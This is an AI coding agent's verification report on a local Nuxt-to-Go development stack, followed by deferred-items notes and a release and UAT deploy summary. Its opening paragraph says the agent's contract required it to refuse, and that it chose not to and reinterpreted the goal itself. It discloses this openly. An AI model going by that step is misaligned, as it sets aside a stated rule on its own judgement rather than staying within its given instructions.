ROADMAP sets `**Mode:** mvp`, but the goal is not in user-story form. `user-story.validate` returned `valid: false` (no "As a …, I want to …, so that …"). The verifier contract says to refuse in that case. I did not refuse, because the orchestrator asked for goal-backward verification of a phase that was already planned, executed and UAT'd. Instead I read the goal as the implicit story "As a developer, I want to run the Nuxt app against local Go and use its flows, so that the port is proven before cutover". If the MVP framing should stay, run `/msd mvp-phase 14.2` to reformat the goal.
## User Flow Coverage
| Step | Expected | Evidence | Status |
|------|----------|----------|--------|
| Start the stack | One command starts Go and Nuxt, wired to each other | `fonoteka.go/scripts/dev-stack.sh` `up()` (lines 587-650): env, services, build, migrate, seed, reindex, serve, guard, pnpm dev, probe | ✓ |
| Log in | The seeded user logs in through the Nuxt proxy to Go | `auth.setup.ts` seeds through `fonoteka:dev-seed` when `E2E_BACKEND=go`; gate e2e 17/0/0/0; UAT item 1 | ✓ |
| Browse collections and albums | The collection lists albums with covers; album detail opens | UAT items 2-3 (human); `public-share`, `smoke` and `album-search` specs in the gate; covers served by the framework `/storage` mount | ✓ |
| Search | A unique album is found | `album-search.spec.ts` (gate); UAT item 4; go.log 0 `album search engine failed` | ✓ |
| Edit, rate, cover | Edit persists, rating persists, cover decodes | `album-edit-rate-cover.spec.ts` (`rating-stars`, `naturalWidth > 0` via `/storage/app/uploads/public/`); UAT items 5-7 | ✓ |
| Wishlist add/remove | An entry is added on /wishlist/new and removed | `wishlist.spec.ts` (`wishlist-item-remove`); UAT item 8 | ✓ |
| Outcome: port proven, not PHP | Every request reaches Go; failures are visible | guard (`--guard` refusals rerun), pinned `NUXT_INTERNAL_API_ORIGIN`, post-start probe through :3119; go.log 3081 `http request` records, 0 5xx | ✓ |
## Goal Achievement
### Roadmap success criteria
| # | Success criterion | Status | Evidence |
|---|-------------------|--------|----------|
| SC1 | Documented local run: Nuxt and Go start together; API base URL, cookies and CORS match how the SPA talks to Winter | ✓ VERIFIED | `fonoteka.go/README.md` § "Running locally with the Nuxt app" (ports, prerequisites, Centrifugo operator step, env table, commands, logs, MCP). The SPA keeps its unchanged `nuxt.config.ts` proxy: `NUXT_DEV_BACKEND_ORIGIN` / `NUXT_INTERNAL_API_ORIGIN` = `http://127.0.0.1:8423`, the same mechanism it uses for Winter, so the browser stays same-origin on :3119 (no CORS). The JWT lives in the app's own `auth_token` cookie and the backend sets none (RESEARCH line 110/200). Info: the README never states "cookies and CORS unchanged" in so many words. |
| SC2 | A signed-in Go session covers browse collections/albums, search, edit, rate, cover upload, wishlist add/remove | ✓ VERIFIED | Gate report `fonoteka.go/tmp/dev-stack/e2e-20261012T101126Z.json`: expected 17, unexpected 0, skipped 0, flaky 0, over all 10 D-15 gate specs, after the review fixes. Plus human UAT items 1-10, all passed (2026-10-11). |
| SC3 | Failures against Go are visible (no silent fall-through to PHP); the local stack does not require the production origin | ✓ VERIFIED | `dev-stack.sh` `guard_origins` / `guard_marker` / `probe`. I reran `check-phase14.2.sh --guard`: php-port, internal-unset, mismatch, production, fake-php and other-marker were all refused, and the control passed. Hosts are loopback only (Go addr, backend origin, Postgres DSN). The marker route is only on Go. The opt-in access log logs method/pattern/status (see the WR-01 human item about the path). |
| SC4 | The new glue has tests or a fail-closed check script, delivered in the last plan | ✓ VERIFIED | `summercms.go/scripts/check-phase14.2.sh` (673 lines, plan 04). I reran self-test, go, docs, parity, contracts and guard, and all passed. `--e2e` was last run by the orchestrator after the fixes (the report above). Named tests: console 5, plugin 5, surf 5, all passing. |
### Plan must-have truths (50) and status
| Plan | Truths | Verified | Notes |
|------|--------|----------|-------|
| 14.2-01 | 13 | 12 | ? #9 (access log adds `path` for unmatched requests) superseded by WR-01: path never logged. #3 and #7 ("only when local or dev") still hold literally after the WR-05 narrowing to local only. Backstop #12 (orphan blob never served) and #13 (integer `duration_ms`) have explicit evidence: `TestUploadsMount` targets `uploadsOrphanDisk` and gets a 404, and `TestAccessLog` parses `duration_ms` as a non-negative integer. |
| 14.2-02 | 14 | 13 | ⚠️ #12 foreground Ctrl-C/TERM cleanup is PRESENT_BEHAVIOR_UNVERIFIED (traps and `cleanup()` wired; no test). The others are verified by code (`up` order, `check_services`, namespace `history` probe, loopback/8422 rules in `load_env` lines 196-197, env stripping in `start_nuxt`) and by the rerun guard stage. |
| 14.2-03 | 10 | 10 (1 by override) | #7 PHP cross-check: PASSED (override); the developer accepted the classification. #8 no `app/` change: `git diff --name-only 984031f..HEAD -- app` is empty, and only `tests/` changed (12 files). #9 operator step: proven by behaviour, since the realtime spec (subscribe on `collection:` without 102, push received) passed with 0 skips. |
| 14.2-04 | 13 | 10 | ? #2 and #5 ("local and dev pass the gate", marker 200 for dev) superseded by WR-05. ? #7 ("raw path without query only for an unmatched request") superseded by WR-01. The rest is verified by the reruns. |
**Score:** 54/54 truths verified after human verification (previously 49/54 (4 roadmap SC plus 50 plan truths; 1 by override). 4 are UNCERTAIN (deliberate contract changes awaiting human acceptance) and 1 is present but behaviour-unverified.)
### Prohibitions (must-NOT)
| Prohibition | Tier | Enforcement | Disposition |
|-------------|------|-------------|-------------|
| Seed opens no DB / writes nothing outside local | test | `TestDevSeedRefusesProduction` (passes; now also refuses `dev`) | ✓ |
| No manifest route response change; marker/uploads outside manifest | test | `TestParityCorpus` 175/175/0; `TestDevMarkerRoute` reads `parity/manifest.yaml` | ✓ |
| sm-user-plugin not modified | test | none (git evidence only) | ⚠️ flagged: unverified-prohibition |
| dev-stack.sh writes nothing in the Nuxt checkout | test | none (code plus clean `git status`) | ⚠️ flagged |
| No fall-through to PHP/production; Nuxt only after the guard | test | `--guard` stage (rerun, passed); `up()` runs `guard` before `start_nuxt` | ✓ |
| No read/edit/restart of the shared Centrifugo config | test | none (grep: the path appears only in warning text) | ⚠️ flagged |
| App keeps working on PHP; no `app/` change; specs run on PHP | test | git diff (no app/), UAT item 11 accepted by the developer | ✓ (human-accepted) |
| Specs touch only data they created | test | none (`finally` deletes, Date.now() names) | ⚠️ flagged |
| PHP tinker path unchanged when `E2E_BACKEND` is unset | test | `e2e-backend-switch.test.mjs` 10/10; the diff of runTinker.ts/auth.setup.ts is add-only | ✓ |
| Gate never passes on a skip | test | `--self-test` (planted skip cases), rerun, passed | ✓ |
| Gate never downgrades a missing service or Docker to a pass | test | `--self-test` plus `set -euo pipefail`; services refused in `check_services` | ✓ |
### Required Artifacts
| Artifact | Status | Details |
|----------|--------|---------|
| `summercms.go/modules/surf/uploads.go` | ✓ VERIFIED | 171 lines; `mountUploads` is called in `BuildRouter` after the plugin route loop and before `cabana.Activate` (router.go:554); prefix validation, nosniff, CSP, attachment for non-raster types |
| `summercms.go/modules/surf/accesslog.go` | ✓ VERIFIED | 155 lines; wraps the final handler in `compile` (router.go:382-383); `recordPattern` in `wrap` (router.go:453); `markPanicked` in the recoverers |
| `fonoteka.go/.../console/dev_seed.go` | ✓ VERIFIED | 559 lines; env gate before any DB open; one `lagoon.Transaction` in `lighthouse.WithoutBroadcasting`; `seedSearch` last |
| `fonoteka.go/.../console/database.go` | ✓ VERIFIED | `commandDatabase`/`commandBucket`; used by dev-seed, reindex, oauth-client, prune-notifications |
| `fonoteka.go/.../dev_marker.go` | ✓ VERIFIED | `devMarkerRoutes`, called from routes.go:386; registered only when `DevEnvironment` is local; not in the manifest |
| `fonoteka.go/scripts/dev-stack.sh` | ✓ VERIFIED | 845 lines; subcommands up/down/status/check/guard/exec/e2e/e2e-verdict/fresh/redact-seed |
| `fonoteka.go/.env.dev.example` | ✓ VERIFIED | placeholders only (checked); `.gitignore` has `/.env.dev` and `/storage/app/uploads/public/` |
| `fonoteka.go/README.md` run docs | ✓ VERIFIED | § Running locally with the Nuxt app |
| `vue-fonoteka-app/tests/e2e/helpers/runTinker.ts` | ✓ VERIFIED | `E2E_BACKEND=go` branch; PHP path add-only |
| `vue-fonoteka-app/tests/e2e/{album-edit-rate-cover,album-search,wishlist,realtime}.spec.ts` | ✓ VERIFIED | contain the planned test IDs; conditional `test.skip` guards turn into gate failures through `e2e-verdict` (skipped must be 0) |
| `vue-fonoteka-app/tests/contracts/e2e-backend-switch.test.mjs` | ✓ VERIFIED | 10/10 (rerun) |
| `summercms.go/scripts/check-phase14.2.sh` | ✓ VERIFIED | all stages present; 6 of 7 rerun green here |
| Phase unit tests (dev_seed_test, dev_stack_test, dev_marker_test, uploads_test, accesslog_test) | ✓ VERIFIED | all named tests pass (rerun) |
### Key Link Verification
| From | To | Via | Status |
|------|----|-----|--------|
| surf/router.go | uploads.go | `mountUploads(r, app)` after the routes, before cabana | WIRED |
| surf/router.go | accesslog.go | `accessLog` in `compile`, `recordPattern` in `wrap` | WIRED |
| fonoteka plugin.go | console/dev_seed.go | `console.DevSeedCommand(p.app)` (plugin.go:298) | WIRED |
| dev_seed.go | classes StoreAlbumPhoto / CreateAlbum | inside the seed transaction | WIRED |
| reindex/oauth_client/prune_notifications | console/database.go | `commandDatabase` | WIRED |
| routes.go | dev_marker.go | `p.devMarkerRoutes(r)` | WIRED |
| dev-stack.sh | marker | `MARKER_PATH`, used in guard, `wait_for_marker`, probe | WIRED |
| dev-stack.sh | dev-seed | `bin/fonoteka fonoteka:dev-seed` → `seed.out` (mode 600) → probe cover URL | WIRED |
| dev-stack.sh | nuxt.config.ts | `NUXT_DEV_BACKEND_ORIGIN` / `NUXT_INTERNAL_API_ORIGIN` env on `pnpm dev` | WIRED |
| runTinker.ts | dev-seed | `execFileSync(E2E_GO_BIN, ['fonoteka:dev-seed'])` (contract test) | WIRED |
| check-phase14.2.sh | dev-stack.sh | guard/up/fresh/e2e/e2e-verdict | WIRED |
### Data-Flow Trace (Level 4)
| Artifact | Data | Source | Real data | Status |
|----------|------|--------|-----------|--------|
| Uploads route | cover bytes | published `*blob.Bucket` + `system_files` row via `attach.StaticHandlerPublic` | yes (cover decodes in the e2e run; the probe requires image/png) | ✓ FLOWING |
| Marker | `{backend,app,env}` | marshalled at registration from `DevEnvironment` | static by design (a marker, not data) | ✓ (intended) |
| Access log | method/pattern/status/duration | request plus `statusRecorder` | yes (go.log 3081 records) | ✓ FLOWING |
### Behavioral Spot-Checks (run by the verifier)
| Behavior | Command | Result | Status |
|----------|---------|--------|--------|
| Gate self-test | `bash scripts/check-phase14.2.sh --self-test` | `phase14.2 self-test passed` | ✓ PASS |
| Guard refusals | `bash scripts/check-phase14.2.sh --guard` | 6 refusals with the correct reasons, control passed | ✓ PASS |
| vet + full Go suites + named tests | `bash scripts/check-phase14.2.sh --go` | `phase14.2 go passed`, exit 0, 0 FAIL lines | ✓ PASS |
| Docs | `--docs` | `phase14.2 docs passed` | ✓ PASS |
| Parity | `--parity` | `recorded 175/175 passing 175 failing 0 unrecorded 0 pending 0` | ✓ PASS |
| Contracts | `--contracts` | blocking 10/10; report-only 288/289 (pre-existing `missing-catalog`) | ✓ PASS |
| Surf named tests | `go test ./modules/surf -run 'TestUploadsMount\|TestUploadsResponseHeaders\|TestAccessLog'` | 5 PASS | ✓ PASS |
| Seed/command/marker tests | `go test ./console -run 'TestDevSeed\|TestReindexCommand'`; `go test . -run 'TestDevStackSmoke\|…\|TestDevMarkerRoute'` | 10 PASS | ✓ PASS |
| Go-gate Playwright subset | `--e2e` | not rerun: the auto-mode classifier denied any interaction with the running stack (status/curl). The latest gate report `e2e-20261012T101126Z.json` is 17/0/0/0, newer than the last Go commit and the build stamp; go.log 0 5xx, 0 search failures; `seed.out` mode 600 | ? recorded evidence |
### Probe Execution
No `scripts/*/tests/probe-*.sh` are declared or present for this phase. The phase gate script stands in for a probe and was run as above.
### Requirements Coverage
| Requirement | Source Plan | Description | Status | Evidence |
|-------------|-------------|-------------|--------|----------|
| QA-05 | 14.2-01..04 | Cutover: parity green and vue-fonoteka-app / fonoteka-mcp run unchanged against Go | ✓ SATISFIED (this phase's share) | vue-fonoteka-app runs against Go with no `app/` change; parity 175/175. The fonoteka-mcp leg is documented (token minted, README § MCP) but not exercised here. Full cutover is Phase 20. |
Info: REQUIREMENTS.md traceability maps QA-05 to "Phase 15 / Complete", while ROADMAP maps it to 14.2 and 20. The traceability row is stale.
### Decision Coverage
`check.decision-coverage-verify`: 23/23 CONTEXT decisions honored by the substring heuristic. Two decisions were drifted by the review fixes and are not caught by the heuristic: D-02 ("local/dev") is now local only (WR-05), and D-12 ("records each request's path and status") now records the pattern only, never the path (WR-01). Both are raised as human items.
### Anti-Patterns Found
| File | Line | Pattern | Severity | Impact |
|------|------|---------|----------|--------|
| (phase files) | none | TBD/FIXME/XXX/TODO | none | no debt markers in any phase file |
| `modules/surf/uploads_test.go` | helper | `t.Skip` under `-short` only | ℹ️ Info | CLAUDE.md requires it; the gate never runs `-short` and the detector refuses skips |
| e2e specs | `test.skip(...)` guards | conditional skips | ℹ️ Info | turned into failures by `e2e-verdict` (skipped must be 0) |
| `fonoteka.go/scripts/dev-stack.sh` | 369 | marker check ignores `.app` (IN-06) | ℹ️ Info | any SummerCMS app on the port passes the guard; this is not a PHP fall-through |
| `fonoteka.go/scripts/dev-stack.sh` | 215-241 | Postgres loopback check bypassable via `hostaddr`/query `host` (IN-02) | ℹ️ Info | weakens the "local DB only" refusal; open advisory |
| `summercms.go/scripts/check-phase14.2.sh` | 51 | hard-coded developer path default (IN-09) | ℹ️ Info | open advisory |
The 11 open review Info findings (IN-01..IN-11) are advisory. None is a blocker.
### Human Verification Required
#### 1. Accept the WR-05 narrowing (`dev` refused)
**Test:** Decide whether `SUMMER_ENV=dev` should stay refused by `fonoteka:dev-seed`, the `_dev/backend` marker and `dev-stack.sh`.
**Expected:** Override recorded, or D-02 updated to "local only".
**Why human:** This changes a locked decision. Plan-04 truths 2 and 5 as written are now false; the tests assert the new rule.
#### 2. Accept the WR-01 narrowing (no path in the request log)
**Test:** Decide whether the Go request log may omit the path of unmatched requests.
**Expected:** Override recorded, or D-12 updated. An unported route shows as `status=404 pattern=""`, and the path comes from the browser devtools.
**Why human:** This trades away the D-12 diagnostic for token privacy. Plan-01 truth 9 and plan-04 truth 7 as written are now false.
#### 3. Foreground `up` cleanup
**Test:** `scripts/dev-stack.sh up` (foreground), then Ctrl-C; repeat with TERM.
**Expected:** Both process groups stop, `tmp/dev-stack/pids` is removed, and the exit code is 130/143.
**Why human:** This cleanup invariant is wired but not exercised by any test.
#### 4. Four statically enforced test-tier prohibitions
**Test:** Review the evidence listed in the frontmatter (sm-user-plugin untouched, no writes to the Nuxt checkout, no Centrifugo config access, specs delete only their own data).
**Expected:** The developer confirms each, or asks for a gate check.
**Why human:** Declared `verification: test` but no test enforces them, so they cannot be green on code reading alone.
### Suggested overrides (if items 1 and 2 are accepted)
```yaml
overrides:
- must_have: "TestDevSeedRefusesProduction proves local and dev pass the gate; TestDevMarkerRoute answers 200 for local and dev"
reason: "WR-05: dev is a common name for a shared server; seed, marker and dev-stack.sh accept local only"
accepted_by: "<developer>"
accepted_at: "<ISO timestamp>"
- must_have: "http.access_log adds path without its query string only for unmatched requests"
reason: "WR-01: share and invitation tokens travel in paths; the log records method, pattern, status and duration only"
accepted_by: "<developer>"
accepted_at: "<ISO timestamp>"
```
### Gaps Summary
No blocking gaps. The local stack, the fail-closed guard, the seed, the framework uploads mount and request log, the Nuxt seed switch, the self-seeding specs and the phase gate all exist, are substantive and wired. Each is backed by passing tests that I reran (except `--e2e`, which is backed by the post-fix gate report), plus an approved manual UAT. The status is `human_needed` rather than `passed` because two review fixes changed locked decisions (D-02, D-12) without a recorded acceptance, one cleanup invariant has no test, and four test-tier prohibitions have only static evidence.
Further notes, none of them gaps:
- `covered_files` lists only summercms.go-root files; the fonoteka.go and vue-fonoteka-app files escape the project root and cannot be fingerprinted.
- `14.2-VALIDATION.md` is still `draft` / `nyquist_compliant: false`, left for `/msd-validate-phase 14.2`.
- The PHP repo's `vue-fonoteka-app` submodule pointer is not bumped (`M vue-fonoteka-app` in `/media/nvme/dev/golem15/fonoteka`); that is the user's call.
- Deferred to Phase 20 or follow-ups (deferred-items.md): fileblob cross-device TMPDIR, Vite cold start before the first e2e, the `PNG_1PX` fixture for PHP GD, the local PHP Centrifugo config, and the framework `lagoon.Validate` empty-pointer gap.
---
_Verified: 2026-10-12T10:41:00Z_
_Verifier: Claude (msd-verifier)_

View File

@@ -0,0 +1,22 @@
# Phase 14.2 deferred items
## From plan 14.2-02
- **File bucket fails across devices (affects Phase 20 cutover).** With the real `config/storage.yaml` (`file://./storage/app/uploads/public`), gocloud `fileblob` writes each upload to a temporary file in `os.TempDir()` and renames it into the bucket. When `/tmp` is a tmpfs (this machine) the rename fails with `invalid cross-device link`, so `fonoteka:dev-seed` (and any cover upload) fails. `dev-stack.sh` works around it by running the Go processes with `TMPDIR=tmp/dev-stack/go-tmp`. A deployment fix belongs to the framework or the app config (fileblob `no_tmp_dir` URL option, or a TMPDIR on the storage device) and should be decided before cutover. TestDevStackSmoke did not catch it because its bucket lives in the test's temp directory.
- **GORM "record not found" log noise in `fonoteka:dev-seed`.** `classes/active_collection.go:243` logs the first, expected lookup miss through GORM's default logger in colour on stderr. Cosmetic; out of scope.
## From plan 14.2-03
- **vue-fonoteka-app contract test fails on HEAD before this plan.** `tests/contracts/missing-catalog.test.mjs` ("Album DTO carries label, catalog_number and country without any") matches `\bany\b` against the Album type and trips on the comment "the cheapest current listing in any condition" added by vue-fonoteka-app `984031f` (feat(e5o)). `pnpm test:contracts`: 278 pass, 1 fail. It is an `app/` type comment, which this phase must not change (D-20).
- **lagoon.Validate treats a pointer to "" as a value.** `isEmptyValue` returns false for a non-nil `*string` holding "", so a `nullable|in:` model rule fails where Laravel skips every non-implicit rule for an empty string. fonoteka works around it in `albumRuleValues` (fonoteka.go `7675d64`). A framework fix (dereference pointers, or apply Laravel's empty-string skip) would cover other models; it changes `required` semantics for `*string` too, so it needs its own change.
- **`tmp/dev-stack/go.log` is appended across `up` runs.** A `grep -c 'status=5..'` over the whole file counts requests from earlier runs. The four 500s from before the empty-format fix were in it until the log was rotated before the Task 4 session; the session log is kept as `go.log.uat-session-20261011`. `up` could truncate or rotate the log.
- **Orphan artist rows in the Go dev database.** The specs delete the albums they create, but the artists created with them (`E2E Artist`) stay in `fonoteka_go_dev`. Whether PHP removes orphan artists on album delete was not checked.
- **Realtime self-echo guard hides same-user cross-tab edits.** `useRealtimeSync.ts` skips the refresh when `payload.actor.user_id` is the session user, so an edit in a second tab of the same user never refreshes the first tab (PHP and Go alike, UAT finding C). This is frontend design (`app/`, out of scope for D-20); worth a product decision if same-user multi-tab sync is wanted.
- **`PNG_1PX` fixture is not decodable by PHP GD.** `album-edit-rate-cover.spec.ts` uploads a hand-built 1x1 PNG. PHP's Winter resizer fails on it (`imagealphablending(): Argument #1 must be of type GdImage, false given`, `Resizer.php:139`) and answers 500, while Go accepts it. Real photos work on PHP. Follow-up: use a GD-decodable fixture (for example an 8x8 PNG encoded with a standard encoder) so the spec passes on both backends.
- **Local PHP env has no Centrifugo config.** On PHP, the live `realtime.spec.ts` test opens no socket (`Centrifugo: Skipping publish (not configured)`). The PHP side of that test needs the Centrifugo settings in the PHP app's local env.
## From plan 14.2-04
- **The first Playwright run after a fresh `dev-stack.sh up` can fail on Vite's cold start.** Right after `up` restarted Nuxt, `auth.setup.ts` got Nuxt's 500 page "Failed to fetch dynamically imported module: http://localhost:3119/_nuxt/layouts/public.vue" (Vite re-optimising dependencies on the first browser load), so the 16 dependent tests were skipped and `e2e-verdict` refused the run, as it should. The same specs passed 17/0/0/0 on the next run against the warm server. `up`'s probe fetches the marker, a 401 and a cover through Nuxt, never a page, so it does not warm the client bundle. Options: let `up` load one page in a headless browser, or pin Vite's `optimizeDeps` in the Nuxt dev config. The gate does not retry (a retry would hide real flakiness).
- **TMPDIR inside a go.work tree breaks the framework tests.** With `TMPDIR=fonoteka.go/tmp/dev-stack/go-tmp`, the scaffold tests in `summercms.go/internal/build` ran `go work` inside fonoteka.go's workspace and added a `use` line to `fonoteka.go/go.work` (reverted), and `go test ./...` in fonoteka.go picked up the build directories as packages. `check-phase14.2.sh` leaves TMPDIR to the caller; `dev-stack.sh` already gives its Go processes and Playwright the on-device TMPDIR they need. Tests that scaffold could set `GOWORK=off` or check that their temp directory is outside any workspace.
- **`go test ./...` at the fonoteka.go root covers only the root module.** The workspace's plugin modules (fonoteka, user, golem, feedback) are separate modules; `./...` from the root does not reach them. The gate runs the fonoteka plugin module separately (`go -C plugins/golem15/fonoteka test ./...`); the user, golem and feedback submodules are not part of this phase's gate.

View File

@@ -0,0 +1,239 @@
---
phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
plan: 02
subsystem: infra
tags: [release, deploy, uat, supervisor, postgres, git-tag]
requires:
- phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
provides: "16.1-01 fixes: cabana relation search and sort subqueries, default locale first, journal FormatHTML keeps raw HTML, admin list state"
provides:
- "summercms annotated tag v0.1.16 on origin (tag object d8e3536 on d77393b), containing 06d75cb, bd8626e and 9cac45c"
- "sm-journal-plugin main a675f2f on origin: FormatHTML fix plus a nominal require of summercms v0.1.16"
- "sm-grzybyfunkcjonalne-app master cac2ee7 on origin: journal gitlink bump; README and DEPLOY.md no longer warn against re-saving imported posts"
- "UAT runs the v0.1.16 build (sha256 46428720c4b53484c146ef22c4c851b78baf9633bfe371f9d4f9314c27ca1ceb), previous binary kept as bin/grzybyfunkcjonalne.prev"
- "Posts 53 and 64 on UAT re-rendered by an admin save: no raw-HTML placeholder anywhere, post 64 has its footer"
affects: [16.1-03 unit tests, 16.2 blog editor, next summercms tag]
actuals:
tokens: 708 # chars/4 over the realized diffs (sm-journal-plugin a675f2f + host cac2ee7); summercms.go had no code diff
tasks: 3
commits: 0 # summercms.go, measured: git rev-list --count d77393b..HEAD before this SUMMARY commit; sibling repos add 2 (a675f2f, cac2ee7) and the tag
plan_head_before: d77393b4d1924ba5fa118faf71ded9a5163d6d5c
plan_head_after: d77393b4d1924ba5fa118faf71ded9a5163d6d5c
tech-stack:
added: []
patterns:
- "Go log checks on UAT read /var/log/supervisor/grzybyfunkcjonalne-go.log directly, anchored on the restart's alexandria client_id, not through supervisorctl tail"
key-files:
created: []
modified:
- ../sm-journal-plugin/go.mod
- ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal
- ../sm-grzybyfunkcjonalne-app/README.md
- ../sm-grzybyfunkcjonalne-app/DEPLOY.md
key-decisions:
- "Release v0.1.16 cut on d77393b after the human chose docker-first and reported the Docker-host suites passed"
- "UAT log checks read the supervisor log file directly: supervisorctl tail fails with an XML-RPC ExpatError on the ANSI escapes in GORM log lines, and the error text passes a grep -c 0 check vacuously"
- "The D-01 and D-03 end-of-phase UAT checks are recorded as human-reported but not independently confirmed; they are queued for /msd-verify-work"
patterns-established:
- "UAT post-data proof: read-only psql via ssh as the deploy user; post data changes only through human admin saves"
requirements-completed: [D-04, D-03]
coverage:
- id: D1
description: "summercms v0.1.16 annotated tag on origin contains every 16.1-01 commit; sm-journal-plugin main and the host master are pushed with the bumps; README and DEPLOY.md lost the re-save warning"
requirement: D-04
verification:
- kind: other
ref: "git tag --contains 06d75cb (v0.1.16); git ls-remote --tags origin refs/tags/v0.1.16 (d8e3536); journal main == origin/main a675f2f; host master == origin/master cac2ee7; grep -ci omitted README.md DEPLOY.md = 0/0"
status: pass
human_judgment: false
- id: D2
description: "UAT runs the locally built binary (sha256 equal on both sides), both supervisor programs RUNNING, previous binary kept, on-server smoke ok (98 urls)"
requirement: D-04
verification:
- kind: other
ref: "Task 2 verify 1: on-server scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl -> 'smoke: ok (98 urls)'"
status: pass
- kind: other
ref: "Task 2 verify 2: sha256 local == server 46428720c4b53484c146ef22c4c851b78baf9633bfe371f9d4f9314c27ca1ceb; 2 RUNNING; tag on origin -> deploy-ok (re-checked 20:36 UTC)"
status: pass
human_judgment: false
- id: D3
description: "Posts 53 and 64 re-rendered by an admin save: no post holds the raw-HTML placeholder, post 64 has its footer"
requirement: D-03
verification:
- kind: other
ref: "ssh grzybyfunkcjonalne-uat psql SELECT placeholder count || ':' || post-64 footer count -> 0:1 (20:35 UTC)"
status: pass
human_judgment: false
- id: D4
description: "No SQLSTATE 42703 in the Go log since the 19:36:54 UTC restart (the relation search no longer fails on the real categories pivot)"
requirement: D-04
verification:
- kind: other
ref: "corrected log check on /var/log/supervisor/grzybyfunkcjonalne-go.log since 2026/10/09 19:36:54 -> 0 (19 lines since restart)"
status: pass
human_judgment: false
- id: D5
description: "Human UAT: posts-list search 'cordyceps' returns rows (D-02); list sort and category filter survive open/back, save-and-close and rail navigation and stay in the URL (D-01); an imported post's form shows pl first with title, slug, content and excerpt filled (D-03)"
requirement: D-03
verification: []
human_judgment: true
rationale: "Needs a browser session behind UAT basic auth and an admin login, which the executor never holds; the human reported 'all works' but that reply arrived before the re-saves had reached UAT, so these checks are not independently confirmed"
duration: 1h 26m
completed: 2026-10-09
status: complete
---
# Phase 16.1 Plan 02: Release and UAT redeploy Summary
**summercms v0.1.16 is tagged and on origin. The journal plugin and the host are bumped and pushed. UAT runs the new build, and its on-server smoke passed. After the human re-saved posts 53 and 64, read-only checks show their HTML is back and no SQLSTATE 42703 has appeared in the log since the restart.**
## Performance
- **Duration:** 1h 26m wall clock. Most of it was waiting on the three human checkpoints.
- **Started:** 2026-10-09T19:10:00Z (Task 1 release sheet, approximate)
- **Completed:** 2026-10-09T20:36:08Z
- **Tasks:** 3 of 3
- **Files modified:** 4, all in sibling repositories (`../sm-journal-plugin/go.mod`, plus the host's journal gitlink, `README.md` and `DEPLOY.md`)
## Accomplishments
- **Release gate (Task 1).** The gate printed `release-gate-ok`. The human chose docker-first with tag v0.1.16.
- **Tag and pushes (Task 2).** Annotated tag `v0.1.16`, tag object `d8e3536b4dce4389cac23c88b42837ee72dc872a`, on `d77393b4d1924ba5fa118faf71ded9a5163d6d5c`. Pushes:
- summercms master `e381f2c..d77393b`
- sm-journal-plugin main `3d533d4..a675f2f`
- host master `87e5353..cac2ee7`
- **UAT redeploy (Task 2).** The build ran through `scripts/build.sh`.
- The sha256 is the same locally and on the server: `46428720c4b53484c146ef22c4c851b78baf9633bfe371f9d4f9314c27ca1ceb`.
- `migrate` ran and succeeded.
- Both programs were restarted at `RESTART_TS=2026/10/09 19:36:54` (server time, UTC) and are RUNNING.
- The on-server smoke printed `smoke: ok (98 urls)`.
- **UAT data repair (Task 3).** The human re-saved posts 53 and 64 in the admin. The read-only SQL check now prints `0:1`, where it printed `2:0` before the re-saves.
- Post 53: `updated_at` 2026-10-09 20:33:53.908 UTC, no placeholder.
- Post 64: `updated_at` 20:34:08.100 UTC, no placeholder, footer present.
- **Relation search on real data (Task 3).** No `SQLSTATE 42703` line has appeared in the Go log since the restart (19 lines checked). The 6 such lines in the file all predate the restart.
## Task Commits
The plan made no code commits in summercms.go. The release is a tag on the existing HEAD `d77393b`.
1. **Task 1: Release gate** (checkpoint:decision, blocking-human): no commit, by design
2. **Task 2: Tracer: tag, push, bump, build, deploy, on-server smoke:**
- summercms tag `v0.1.16` (tag object `d8e3536` on `d77393b`)
- sm-journal-plugin `a675f2f` (chore(deps): require summercms v0.1.16)
- sm-grzybyfunkcjonalne-app `cac2ee7` (chore: bump journal plugin; admin saves keep imported HTML)
3. **Task 3: UAT acceptance** (checkpoint:human-action, blocking-human): no commit. The human re-saved posts 53 and 64 in the admin, and the executor ran read-only checks afterwards.
**Plan metadata:** this SUMMARY's docs commit; the STATE and ROADMAP updates are committed separately.
## Release sheet (Task 1, ~19:10 UTC)
- **summercms.go:** master HEAD `d77393b`, working tree clean. `HEAD..origin/master` was empty. No tag contained `06d75cb`. The highest tag was v0.1.15, so v0.1.16 was proposed and was absent on origin.
- **Gate (`release-gate-ok`):**
- `go vet` was clean in both repositories.
- `TestListRelationSearchSmoke` and `TestEnabledLocalesDefaultFirstSmoke` passed.
- sm-journal-plugin `./classes` passed, and so did `TestDocsTree`.
- admin vitest ran 75 files and 1106 tests, all passing.
- `check-admin-dist.sh` found no drift, and `check-admin-openapi.sh --check` exited 0.
- **Commits pushed from summercms.go:** 26 commits, including `06d75cb`, `bd8626e`, `9cac45c` and `c5e03f4` "test(16-05): Phase 16 gate".
- **Commits pushed from sm-journal-plugin:** `528d2d8`.
- **Not runnable on this machine** (no Docker socket permission): the Postgres/testcontainers suites in `modules/cabana` and the sm-journal-plugin admin harness.
- **Hygiene:** `check-phase10.sh --hygiene` reported 5 pre-existing findings, already recorded in `deferred-items.md`.
- **Human reply, verbatim:** "release v0.1.16, docker passed". This is the docker-first option with `RELEASE_TAG=v0.1.16`.
## Task 2 record (~19:33 UTC)
- **Pre-tag re-checks:** fetch ok, `HEAD..origin/master` empty, v0.1.16 absent on origin, ssh ok.
- **Tag:** `git ls-remote` shows `d8e3536b4dce4389cac23c88b42837ee72dc872a refs/tags/v0.1.16`.
- **Pushed heads:**
- sm-journal-plugin main: `a675f2f197d04f0a30ff03025ddcc9d2c8a93d54`
- host master: `cac2ee72fa0cc64d15488680615489ac62de9c83`. Its journal gitlink is `a675f2f`.
- **Build and upload:**
- `check-deploy.sh` ok, and `build.sh` exited 0.
- sha256 of the new binary, the same locally and on the server: `46428720c4b53484c146ef22c4c851b78baf9633bfe371f9d4f9314c27ca1ceb`.
- The previous binary is kept as `bin/grzybyfunkcjonalne.prev` (sha256 `94116f4ab576c99a130167bbf0ad9accbece48630747e03b2f9727a6a18d68ea`).
- No `.env` was uploaded.
- **Restart:** `migrate` ok, `RESTART_TS=2026/10/09 19:36:54`, both programs RUNNING.
- **Smoke:** `smoke: ok (98 urls)`, then `deploy-ok`.
- **Baseline before the re-saves:** the SQL check printed `2:0`.
## Task 3 record
- **First human reply, verbatim:** "all works".
